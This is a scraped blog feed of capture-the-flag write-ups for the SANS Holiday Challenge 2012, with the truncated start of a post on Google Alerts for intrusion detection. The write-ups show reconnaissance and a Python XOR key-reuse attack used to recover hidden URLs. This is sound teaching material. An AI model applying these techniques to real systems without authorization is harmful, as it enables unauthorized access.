Jordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com2tag:blogger.com,1999:blog-33242194251147061.post-91608377781006504702013-01-07T00:03:00.001-06:002013-01-07T00:03:20.627-06:00SANS Holiday Challenge 2012 Zone 3 Writeup<span style="font-size: large;">Zone 3</span><br />
<br />
Using the URLs obtained in the <a href="http://raidersec.blogspot.com/2013/01/sans-holiday-challenge-2012-zone-2.html" target="_blank">previous post</a>, we can access Zone 3 for both Heat and Snow Miser. Let's see if we can obtain the URLs for Zone 4.<br />
<br />
<a name='more'></a><br />
<b><i>Heat Miser</i></b><br />
<br />
Connecting to Zone 3 for Heat Miser, we are presented with the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgADZ3SkldrpkNdm04bvCrS_9xBx_Sk10DOD5fyVtcnxJzTIzhM_zwypOzZPsVLzbg31m1_NjsqWwyQPcaezxTyXppRUhXfaow4HgT_puTHCdXwFh_9kNjgvsepuzsSN60sKf2xVdpHog/s1600/heat_zone3.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="340" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgADZ3SkldrpkNdm04bvCrS_9xBx_Sk10DOD5fyVtcnxJzTIzhM_zwypOzZPsVLzbg31m1_NjsqWwyQPcaezxTyXppRUhXfaow4HgT_puTHCdXwFh_9kNjgvsepuzsSN60sKf2xVdpHog/s640/heat_zone3.PNG" width="640" /></a></div>
<br />
In the description for this Zone, we are given a link to Zone 4 (that was easy!). For consistency, we'll consider this the end of the zone, and pick back up in the next post since we will technically be aiming to retrieve the link for Zone 5. We have a bit of work to do for Snow Miser, anyways.<br />
<br />
<b><i>Snow Miser</i></b><br />
<b><i><br /></i></b>
Connecting to Zone 3 for Snow Miser, we are presented with the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8aTEzbbqFqp5e9qTgD8rCjmZTf-kTqailCVwShDEL6COXhvYMopiUZHkr_oXNbwgfsJaDxzGm9U_PDDu11xQIqm7pBRl1Eb22cXJMpm_5L8dAWqgtdy8pBDor8pp36YmbXcbzokoNPQ/s1600/snow_zone3.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="342" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8aTEzbbqFqp5e9qTgD8rCjmZTf-kTqailCVwShDEL6COXhvYMopiUZHkr_oXNbwgfsJaDxzGm9U_PDDu11xQIqm7pBRl1Eb22cXJMpm_5L8dAWqgtdy8pBDor8pp36YmbXcbzokoNPQ/s640/snow_zone3.PNG" width="640" /></a></div>
<br />
This challenge required a bit of thinking. In the Zone description, we are told that "those of you with access to Zone 4 should have received an encryption key. This key can be used to decrypt the URL for Zone 4." So, right off the bat, we know that we need to acquire or enumerate an encryption key.<br />
<br />
We are also told that we can "verify [our] key" by encrypting the original Zone 4 URL with our key, and seeing if we retrieve the appropriate ciphertext. If so, we can decrypt the other given ciphertext to retrieve the new Zone 4 URL.<br />
<br />
With that being said, how do we retrieve the encryption key? Or do we even need the key? A hint was given in the challenge description questions. The description asks "On Snow Miser's Zone 3 page, why is using the same key multiple times a bad idea?" This question tells us for sure that the same key was used to encrypt both the original and new Zone 4 URLs. So, we are given one plaintext URL, and two ciphertexts.<br />
<br />
Having these three elements allows us to perform a <a href="http://en.wikipedia.org/wiki/Stream_cipher_attack" target="_blank">Stream Cipher Attack</a>. Let's take a look at how this attack pertains to our situation. In this situation, we are looking for the new URL N. Our given information is as follows:<br />
<br />
<ul>
<li>"Old" plaintext URL for Zone 4, O</li>
<li>Ciphertext of old URL Co, which is O xor K</li>
<li>Ciphertext of new URL Cn, which is N xor K</li>
</ul>
<div>
One of the main properties of the xor operation is that it is <a href="https://en.wikipedia.org/wiki/Symmetric-key_algorithm">symmetrical</a>. This means that the same key can be used to encrypt or decrypt a message. Also, as the article explains, the xor operation is commutative. Therefore, we can perform the Stream Cipher Attack by computing (Co xor Cn) to get (O xor N). Then, we can compute (O xor N) xor O to get our desired N. This will be our new URL. Here is the Python implementation of this:</div>
<div>
<br /></div>
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> >>> cipher1 = '20d916c6c29ee53c30ea1effc63b1c72147eb86b998a25c0cf1bf66939e8621b3132d83abb1683df619238'
>>> cipher2 = '20d916c6c29ee54343e81ff1b14c1372650cbf19998f51b5c51bf66f49ec62184034a94fc9198fa9179849'
>>> plaintext1 = 'zone-4-F7677DA8-3D77-11E2-BB65-E4BF6188709B'
>>> plaintext2 = ''
>>> key = []
>>> for i in range(0,len(cipher1),2):
... key.append(int(cipher1[i:i+2],16) ^ int(cipher2[i:i+2],16))
...
>>> for i in range(0,len(plaintext1)):
... plaintext2 = plaintext2 + chr(ord(plaintext1[i]) ^ key[i])
...
>>> plaintext2
'zone-4-9D469367-B60E-4E08-BDF1-FED7CC74AF33'
</code></pre>
<div>
<br />
We can use this URL to gain access to Zone 4.<br />
<br />
The Stream Cipher Attack may be a bit to understand on the surface. Let me know if you have any questions or comments below.<br />
<br />
As always, please don't hesitate to leave comments or suggestions below. Solve this Zone a different way? Let me know!<br />
<br />
- Jordan</div>
Jordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com2tag:blogger.com,1999:blog-33242194251147061.post-9896047805359128732013-01-07T00:03:00.000-06:002013-01-07T00:03:07.998-06:00SANS Holiday Challenge 2012 Zone 2 Writeup<span style="font-size: large;">Zone 2</span><br />
<br />
Using the URLs obtained in the <a href="http://raidersec.blogspot.com/2013/01/sans-holiday-challenge-2012-zone-1.html" target="_blank">previous post</a>, we can gain access to Zone 2 for both Snow and Heat Miser.<br />
<br />
<a name='more'></a><br />
<b><i>Heat Miser</i></b><br />
<b><i><br /></i></b>
Connecting to Zone 2 for Heat Miser, we are presented with the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgb5MUu81DMlfIztq5JMw9EXjlzgyzFBwLyMb7J2rm8RwKyHWiqF6jK0wsOE8LufGft53vCJC6WRCR6ImKLESRx3s1vf_HSgcFliaeqZqYnGHusq6wJbRhN6y3PEkuVwSPbcPAfPHXgNw/s1600/heat_zone2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="340" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgb5MUu81DMlfIztq5JMw9EXjlzgyzFBwLyMb7J2rm8RwKyHWiqF6jK0wsOE8LufGft53vCJC6WRCR6ImKLESRx3s1vf_HSgcFliaeqZqYnGHusq6wJbRhN6y3PEkuVwSPbcPAfPHXgNw/s640/heat_zone2.PNG" width="640" /></a></div>
<br />
The text in the description says that "due to the negligence of one of our fiery minions, we had to change the link to Zone 3. If you should have access then you should have received an email." Looking around, I wasn't able to find any obvious vulnerabilities, so let's see what other information we are given. By looking at the given Twitter profiles, we can find the following conversation:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuw3_o1BsagVck3Wlsgmq6yvxCjEMUeeY0Luqo6VmIbF8gwVr-CRKz-2gdmbxAvPfqVTj3CxhIDTZPSdosxmeh2Vx2KWSbes2-K2zozeFmWkP7pWzWl9E2HjcSPUh3PR1uA6afS9vBPg/s1600/heat_miser_zone2_tweet.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuw3_o1BsagVck3Wlsgmq6yvxCjEMUeeY0Luqo6VmIbF8gwVr-CRKz-2gdmbxAvPfqVTj3CxhIDTZPSdosxmeh2Vx2KWSbes2-K2zozeFmWkP7pWzWl9E2HjcSPUh3PR1uA6afS9vBPg/s640/heat_miser_zone2_tweet.PNG" width="488" /></a></div>
<br />
Sure enough, by looking closely at the <a href="http://pbs.twimg.com/media/A9d6E8DCIAAS9Ps.png:large" target="_blank">image posted by Heat Miser</a>, we can see the end of the Zone 3 URL in the background behind the terminal. After a little bit of trial and error for the less-clear characters, we get the following URL: <a href="http://heatmiser.counterhack.com/zone-3-83FEE8BE-B1C6-4395-A56A-BF933FC85254/">http://heatmiser.counterhack.com/zone-3-83FEE8BE-B1C6-4395-A56A-BF933FC85254/</a><br />
<div>
<br /></div>
<div>
We can use this URL to gain access to Heat Miser's Zone 3.</div>
<div>
<br /></div>
<div>
<b><i>Snow Miser</i></b></div>
<div>
<b><i><br /></i></b></div>
<div>
Upon connecting to Zone 2 for Snow Miser, we are presented with the following:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-HRXrCfcOAGTWPmFaCPg3sIIAL16uCa7SMLvyOzsiXK11Srs9HJJt5T2BZYl_5ulo1Xq1GaTiHIQaCnhxEFJqnx4PrZrBfvIu25vhW0MzlKrvNSoSlMXxePpQFJHIO2msYMtx1R2OLQ/s1600/snowmiser_zone2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="342" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-HRXrCfcOAGTWPmFaCPg3sIIAL16uCa7SMLvyOzsiXK11Srs9HJJt5T2BZYl_5ulo1Xq1GaTiHIQaCnhxEFJqnx4PrZrBfvIu25vhW0MzlKrvNSoSlMXxePpQFJHIO2msYMtx1R2OLQ/s640/snowmiser_zone2.PNG" width="640" /></a></div>
<div>
<br /></div>
<div>
The description of this Zone gives us the start of the Zone 3 URL, as well as the message that claims there are no vulnerabilities in this page. After doing some looking around, it appears as though this message is true. So, looking at the given Twitter accounts, we find the following Tweet from Heat Miser:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijEEL_04v-TgQ4AkD60kSJ6JpqzrzJDMlF2jqKhDfYEKIG7gk7WJDbAUEBZ6lptJDjYnZ-BjrTWqaXwGL673q75vY4Ksn3KzJW3I7KDo3rfW0qo4govgYVCYs64B58HzLAp5bmoTjEyg/s1600/heat_tweet_android.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijEEL_04v-TgQ4AkD60kSJ6JpqzrzJDMlF2jqKhDfYEKIG7gk7WJDbAUEBZ6lptJDjYnZ-BjrTWqaXwGL673q75vY4Ksn3KzJW3I7KDo3rfW0qo4govgYVCYs64B58HzLAp5bmoTjEyg/s1600/heat_tweet_android.PNG" /></a></div>
<div>
<br /></div>
<div>
The link provided is a compressed backup of an Android phone filesystem. There are many files in this archive, and many of these are SQLite database files. On a whim, I decided that I might check to see if I could find the browser history for Snow Miser, and see if the URL might be in there. Opening the SQLite database titled "browser2.db" in the Firefox Add-On <a href="https://addons.mozilla.org/en-us/firefox/addon/sqlite-manager/" target="_blank">SQLite Manager</a>, we can see the following:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHBFeieH2l2OOy9AAHWtYFZyJhUINnlOFW_9U3Hxbcpn9v1EdrUo4FRKu3s4a8YfbF06443n30YcdADFoQQLKdI7TQeA782NsOnXjN07OYM-eZcfKp_PY-lW1PDLDahBC9eMDIj2eCPw/s1600/snow_zone3_android_backup.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="314" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHBFeieH2l2OOy9AAHWtYFZyJhUINnlOFW_9U3Hxbcpn9v1EdrUo4FRKu3s4a8YfbF06443n30YcdADFoQQLKdI7TQeA782NsOnXjN07OYM-eZcfKp_PY-lW1PDLDahBC9eMDIj2eCPw/s640/snow_zone3_android_backup.PNG" width="640" /></a></div>
<div>
<br /></div>
<div>
Sure enough, in this database we can see the URL for Snow Miser's Zone 3. We will use this database to gain access to the next Zone.</div>
<div>
<br />
As always, please don't hesitate to leave comments or suggestions below. Solve this Zone a different way? Let me know!<br />
<br /></div>
<div>
-Jordan</div>
Jordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com1tag:blogger.com,1999:blog-33242194251147061.post-32573242109652507542013-01-07T00:02:00.001-06:002013-01-07T00:02:48.700-06:00SANS Holiday Challenge 2012 Zone 1 Writeup<span style="font-size: x-large;">Zone 1</span><br />
<br />
We can use the links found in the <a href="http://raidersec.blogspot.com/2013/01/sans-holiday-challenge-2012-zone-0.html" target="_blank">previous post</a> to gain access to Zone 1 for both Snow Miser and Heat Miser. Since no more introduction is needed, let's get started.<br />
<br />
<a name='more'></a><br />
<b><i>Heat Miser</i></b><br />
<b><i><br /></i></b>
Zone 1 for Heat Miser looks like the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinsIaZvKUPD7tMJsd9VaoZwoIjboPE1ZZ3Q4Jp4o724LaS7H7mLqFHxpWOh2bZHekS2mq7LfmpYpAzjilj8t2d9qlKcsO2eP1tQs6xwQmDSsL7Aoe_Xx9V9gKsp5v4w9gzllOVMwCAWQ/s1600/heat_zone1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="342" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinsIaZvKUPD7tMJsd9VaoZwoIjboPE1ZZ3Q4Jp4o724LaS7H7mLqFHxpWOh2bZHekS2mq7LfmpYpAzjilj8t2d9qlKcsO2eP1tQs6xwQmDSsL7Aoe_Xx9V9gKsp5v4w9gzllOVMwCAWQ/s640/heat_zone1.PNG" width="640" /></a></div>
<br />
We can see from the description that Heat Miser "had to temporarily remove the link" to Zone 2. Let's take a look at the source code of the page to see if it will provide any details.<br />
<br />
<pre style="background-color: #222222; background-position: initial initial; background-repeat: initial initial; border: 1px dashed rgb(204, 204, 204); font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> <snip>
<h2>Heat Miser Information Security and Emergency Reponse (HMISER) Note:</h2>
<p>We had an issue with
</code><code style="word-wrap: normal;"><span style="color: yellow;"><!-- redacted, too many people clicked on the link and took it offline
<a href="/zone-2-761EBBCF-099F-4DB0-B63F-9ADC61825D49">Zone 2</a>
--></span></code><code style="color: white; word-wrap: normal;">
Zone 2 and we had to temporarily remove the link. It is now back and in full operation. We appoligize
to those living in Zone 2 as it may have gotten a tad chilly. Everything is fully operational now.</p>
<table>
<tr>
<td><h3>Heater for Zone 1:</h3></td>
<td><form method="get"><input type="submit" name="machine" id="machine" value="Enable" class="navhead" /></form></td>
<td><form method="get"><input type="submit" name="machine" id="machine" value="Disable" class="navhead" /></form></td>
<!-- If you are looking for some super secret code or database that stores your game state, good luck, it doesn't exist -->
<td width="55%"></td>
</tr>
<tr>
<td colspan="4">
<img src="on.png" />
</td>
</tr>
</table>
<!-- The flag for this level is d8c94233daef256c42bb95bd61382e02 -->
</div>
<snip>
</code></pre>
<br />
We can see that the link to Zone 2 is simply embedded in a comment in the HTML source of the page.<br />
<br />
<b><i>Snow Miser</i></b><br />
<b><i><br /></i></b>
Zone 1 for Snow Miser was arguably far more difficult than that for Heat Miser, but fortunately it still wasn't too bad. Connecting to Zone 1, we are presented with the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixIfbL9_-7DE7lHZfrpSbQFl9LbrcyEfW058nqNhR_vxxqZQkIzHIs0WHn52oumNCBJ72ZOj03lgJbiPtu9rjZJduqb9vW_X0ofuYaABB5FmRG7em2qfFgNKDcaAlxkMDN5NIcTtK_HQ/s1600/snow_zone1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="340" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixIfbL9_-7DE7lHZfrpSbQFl9LbrcyEfW058nqNhR_vxxqZQkIzHIs0WHn52oumNCBJ72ZOj03lgJbiPtu9rjZJduqb9vW_X0ofuYaABB5FmRG7em2qfFgNKDcaAlxkMDN5NIcTtK_HQ/s640/snow_zone1.PNG" width="640" /></a></div>
<br />
The description of this Zone tells us that if we "have access to this level, [we] can analyze the images and access the next zone." If we didn't already know what the description meant by "analyze the images", a question posed on the <a href="http://pen-testing.sans.org/holiday-challenge/2012" target="_blank">challenge description</a> gives us a clue. The question is "What is the key you used with steghide to extract Snow Miser's Zone 2 URL? Where did you find the key?" This question immediately tells us that we will use the tool <a href="http://steghide.sourceforge.net/" target="_blank">steghide</a> to extract the URL from an image. Hiding a message within an image is known as <a href="http://en.wikipedia.org/wiki/Steganography" target="_blank">Steganography</a>. We can use steghide to either hide data in an image, or extract data that has previously been hidden. However, where to find the password?<br />
<br />
The description of the Zone gives this one away. The hint "analyze the images" told us that we should look to see if there is any data <i>in</i> the image itself that could help us find the key. Opening up the image "off.jpg" in a hex editor, we can see the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWaNJ9hp7RjPLOWAsRfTBfu88GNI75eJp2MspZMX82hQ58MJ0ozTBSgpR8aBcVQsy18EM-klaR8qFP0SSOgtdmnumAYK7uyQecfD8LpduYWCBlakD-YKQwQdUMNf2MR5LHs5Zcx6SqEA/s1600/iceicebaby_snow_2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="364" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWaNJ9hp7RjPLOWAsRfTBfu88GNI75eJp2MspZMX82hQ58MJ0ozTBSgpR8aBcVQsy18EM-klaR8qFP0SSOgtdmnumAYK7uyQecfD8LpduYWCBlakD-YKQwQdUMNf2MR5LHs5Zcx6SqEA/s640/iceicebaby_snow_2.PNG" width="640" /></a></div>
<br />
We can see the ASCII text "IceIceBaby!" embedded in the picture. When we use this as the key, we are presented with the URL for Zone 2:<br />
<br />
<pre style="background-color: #222222; background-position: initial initial; background-repeat: initial initial; border: 1px dashed rgb(204, 204, 204); font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> root@bt:~# steghide extract -sf off.jpg
Enter passphrase:
wrote extracted data to "tmpfile.txt".
root@bt:~# cat tmpfile.txt
</code><code style="word-wrap: normal;"><span style="color: yellow;">zone-2-6D46A633-25D7-42C8-AF94-8E786142A3E3</span></code><code style="color: white; word-wrap: normal;">
</code></pre>
<br />
Using this URL, we can gain access to Zone 2.<br />
<br />
As always, please don't hesitate to leave comments or suggestions below. Solve this Zone a different way? Let me know!<br />
<br />
-JordanJordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com2tag:blogger.com,1999:blog-33242194251147061.post-72674463399931505232013-01-07T00:02:00.000-06:002013-01-07T00:02:33.070-06:00SANS Holiday Challenge 2012 Zone 0 Writeup<span style="font-size: large;">Introduction</span><br />
<br />
This year, SANS hosted a holiday CTF-like challenge in which participants play the role of Heat Miser and Snow Miser, two characters from the classic movie <i>The Year without a Santa Claus</i>, as they attempt to gain access to each other's weather control systems to alter the weather systems on Earth as we know them.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4b4b0hrztTyvlWpFH0WRYGFrhc6Wm0n2P5HXXijwR2p1ovF8zScdIiNBhfWoKIHjDkDL8ocJKku7NbMcCjilu6MPa-aeBYXaaEh__xY9qHYYST7dXH7uJtYL0MkKDShdtkzcDCs94Hg/s1600/snowvsheat.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="312" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4b4b0hrztTyvlWpFH0WRYGFrhc6Wm0n2P5HXXijwR2p1ovF8zScdIiNBhfWoKIHjDkDL8ocJKku7NbMcCjilu6MPa-aeBYXaaEh__xY9qHYYST7dXH7uJtYL0MkKDShdtkzcDCs94Hg/s640/snowvsheat.jpg" width="640" /></a></div>
<br />
<a name='more'></a><br />
The game is divided into two separate weather control systems, or groups of levels (called "Zones"). The goal of the participant is to escalate to Zone 5 on each of the control systems. As the participant progresses through each Zone, the difficulty of the challenges gets a bit tougher. You can find a full description of the challenge from SANS's website <a href="http://pen-testing.sans.org/holiday-challenge/2012" target="_blank">here</a>.<br />
<br />
<span style="font-size: large;">Resources:</span><br />
<br />
It's always important to consider what resources we are given when performing security testing of any kind. Since CTFs are fairly time-consuming to setup, it's usually a safe bet that most information given is useful somehow. With that being said, let's take a look at the different resources SANS has given us to work with:<br />
<ul>
<li>Snow Miser's Twitter Page - <a href="https://twitter.com/sn0w_m1s3r">@sn0w_m1s3r</a></li>
<li>Heat Miser's Twitter Page - <a href="https://twitter.com/h34t_m1s3r">@h34t_m1s3r</a></li>
<li>Mother Nature's Twitter Page - <a href="https://twitter.com/m0th3r_n4tur3">@m0th3r_n4tur3</a></li>
<li>Questions give at the bottom of the <a href="http://pen-testing.sans.org/holiday-challenge/2012" target="_blank">challenge description</a></li>
<li>Source code of, and information given in, Zone web pages</li>
<li>Google (<i>always.</i>)</li>
</ul>
Also, as a side note, flags can be found in the source code of every Zone page. Since they aren't needed to progress through the levels, I'm not going to include them here. Let's get started with Zone 0.<br />
<br />
<span style="font-size: large;">Zone 0</span><br />
<br />
<b><i>Heat Miser</i></b><br />
<b><i><br /></i></b>
Upon connecting to the first Zone of Heat Miser's weather control system, we are presented with the following screen:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJuY2HilnQuyWWHM-cEY2xJ5BFMEvI_LKgFfBrZ0znT9hqoJCsb2v4IIPHJT79NWyYuh8SHE9G5P76oDVaVj-BxtDyHTxemQGFy0b9ELx5KDzdjbZdmhluhwR2-0_4FjiTVfGmDy-kDw/s1600/heat_zone0.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="340" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJuY2HilnQuyWWHM-cEY2xJ5BFMEvI_LKgFfBrZ0znT9hqoJCsb2v4IIPHJT79NWyYuh8SHE9G5P76oDVaVj-BxtDyHTxemQGFy0b9ELx5KDzdjbZdmhluhwR2-0_4FjiTVfGmDy-kDw/s640/heat_zone0.PNG" width="640" /></a></div>
<br />
The description in this level says that Heat Miser "had a security concern where the Zone 1 URL ended up in search engine results. We added a file to prevent the search engines from caching these pages." As we've seen in one of the <a href="http://raidersec.blogspot.com/2012/10/overthewire-natas-wargame-level-3.html" target="_blank">Natas wargame levels</a>, the file Heat Miser is likely referring to is the <a href="http://en.wikipedia.org/wiki/Robots_exclusion_standard" target="_blank">robots.txt file</a>. After navigating to <a href="http://heatmiser.counterhack.com/robots.txt">http://heatmiser.counterhack.com/robots.txt</a> we are given the link to Zone 1:<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> User-agent: *
Disallow: /zone-1-E919DBF1-E4FA-4141-97C4-3F38693D2161
Disallow: /zone-2-*
Disallow: /zone-3-*
Disallow: /zone-4-*
Disallow: /zone-5-*
</code></pre>
<br />
<b><i>Snow Miser</i></b><br />
<b><i><br /></i></b>
When we connect to Zone 0 for Snow Miser, we are presented with the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGaOW6s2Q1q8Py-3On07hE3k7Txn6OsL_4E4Aat7KyeJY9fJt-d1C2YTnFgAPoG8eAkQGv8YS7ptYkzWkKwL10kHeZUCOQbnAh3GOlKLTbe9lUFEO-6m_FUPOEBaYprbYfyEKrRG5Q8Q/s1600/snow_zone0.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="342" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGaOW6s2Q1q8Py-3On07hE3k7Txn6OsL_4E4Aat7KyeJY9fJt-d1C2YTnFgAPoG8eAkQGv8YS7ptYkzWkKwL10kHeZUCOQbnAh3GOlKLTbe9lUFEO-6m_FUPOEBaYprbYfyEKrRG5Q8Q/s640/snow_zone0.PNG" width="640" /></a></div>
<br />
The description of the challenge says that there is no vulnerability here. After looking around, there indeed doesn't seem to be any obvious vulnerabilities, so let's look at one of our other resources. We can find the following Tweet on Snow Miser's Twitter page:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8A00FBF5MGwOSv432DUpMs1e6KRWJcNyoZE48sSsNrbU3BUKtDGMfrc6njJddyj4lO1M-qbfaf9LcYZkLPJcWFz8Qhu51i_73p8A_dwspYJP0JP1KAKVnYEGaAMnb2lv-HZKg68te-w/s1600/snowmiser_zone1_tweet.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8A00FBF5MGwOSv432DUpMs1e6KRWJcNyoZE48sSsNrbU3BUKtDGMfrc6njJddyj4lO1M-qbfaf9LcYZkLPJcWFz8Qhu51i_73p8A_dwspYJP0JP1KAKVnYEGaAMnb2lv-HZKg68te-w/s1600/snowmiser_zone1_tweet.PNG" /></a></div>
<br />
On the surface, this picture doesn't look like it would contain anything useful, but if we look at the glass of water, we can see the reflection of the monitor, which holds something in the URL bar.. here's the actual picture:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgexI-o2wFT_s6J-6z0Ez_73fuWwA9x4OxN8wyZ8ZGy4jAa8aZC763NhGxcDWQd2Tdf53-vfIdc79WlSAdL31rYqdOgcbqOwzgXnveNe8LBT9SZFvdY7VW0vtfi5dY8uZIMNkUM7xlkXg/s1600/reflect.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgexI-o2wFT_s6J-6z0Ez_73fuWwA9x4OxN8wyZ8ZGy4jAa8aZC763NhGxcDWQd2Tdf53-vfIdc79WlSAdL31rYqdOgcbqOwzgXnveNe8LBT9SZFvdY7VW0vtfi5dY8uZIMNkUM7xlkXg/s640/reflect.PNG" width="640" /></a></div>
<br />
If we zoom in, and reflect the image, we can make out "8A85-F9CDB3AF6226". Granted, this took some trial and error to figure out what some of the fuzzier characters were, but eventually I got it. We remember from the description that they gave us what the Zone 1 URL starts with, ending with "8A85". Therefore, we can put this path at the end of that URL to give us the link to Zone 1.<br />
<br />
On to Zone 1. <br />
<br />
As always, please don't hesitate to leave comments or suggestions below. Solve this Zone a different way? Let me know!<br />
<br />
-JordanJordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com1tag:blogger.com,1999:blog-33242194251147061.post-87606324365676295562013-01-06T00:54:00.002-06:002013-01-08T13:37:05.888-06:00Google as an IDS: Using Google Alerts to Help Detect Compromise<span style="font-size: large;">Introduction</span><br />
<br />
Detecting a compromise can be difficult. When it comes to intrusion detection, the more information and sources a sysadmin has at their disposal - the better. Fortunately for us, Google has created a tool called "<a href="http://www.google.com/alerts" target="_blank">Google Alerts</a>" that inadvertently gives us the capability to monitor for intrusions in a few ways.<br />
<br />
<a name='more'></a><span style="font-size: large;">What is Google Alerts?</span><br />
<br />
From the Google Alerts <a href="http://www.google.com/alerts" target="_blank">main page</a>:<br />
<br />
<div style="text-align: left;">
<i>"Google Alerts are email updates of the latest relevant Google results (web, news, etc.) based on your queries."</i></div>
<div style="text-align: left;">
<i><br /></i></div>
<div style="text-align: left;">
Using this functionality, we can craft specific search queries which, when results are returned, will send us an email with the details. In addition to using this to keep tabs on SEO standings for ourselves and competitors, we can use this to check for details <i>post-compromise</i>.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: large;">A Couple of Examples</span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
